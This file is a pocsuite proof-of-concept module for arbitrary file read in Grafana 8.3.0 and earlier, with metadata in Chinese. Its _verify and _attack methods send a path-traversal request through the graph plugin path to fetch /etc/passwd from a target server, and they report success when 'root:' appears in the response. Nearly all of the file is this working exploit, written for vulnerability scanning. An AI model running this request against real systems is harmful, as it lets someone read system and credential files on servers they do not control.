# coding: utf-8
from pocsuite.lib.core.poc import Output
from pocsuite.poc import POCBase
from pocsuite.utils import register
from pocsuite.api.request import req
from pocsuite.lib.core.data import logger

class TestPOC(POCBase):

    vulID = '''pcmgr-332861'''
    version = '1'
    vulDate = ''
    author = 'pcmgr'
    createDate = ''
    updateDate = 'Tue Dec 07 2021 16:26:14 GMT+0800 (China Standard Time)'
    references = '''[]'''
    name = '''Grafana <=8.3.0任意文件读取'''
    cve = ''
    appPowerLink = ''
    appName = 'Grafana'
    appVersion = ''
    vulType = '任意文件读取'
    vulGrade = '高危'
    vulRepair = '''升级到最新版本'''
    desc = '''Grafana <=8.3.0由于对插件部分的目录处理不当，导致任意文件读取'''
    samples = ''''''

    def _verify(self):
        result = {}
        if self.url[-1] == '/':
            self.url = self.url[:-1]

        try:
            path = '/public/plugins/graph/../../../../../../../../etc/passwd'
            headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36' }
            resp = req.get(url=self.url + path, headers=headers, timeout=10, verify=False)
            if (resp.status_code == 200 and "root:" in resp.text):
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = resp.url
        except Exception as err:
            print(err)
            pass
        return self.parse_output(result)
        
        
    def parse_output(self, result):
        # parse output
        output = Output(self)
        if result:
            output.success(result)
        return output
    
    def _attack(self):
        return self._verify()
    



register(TestPOC)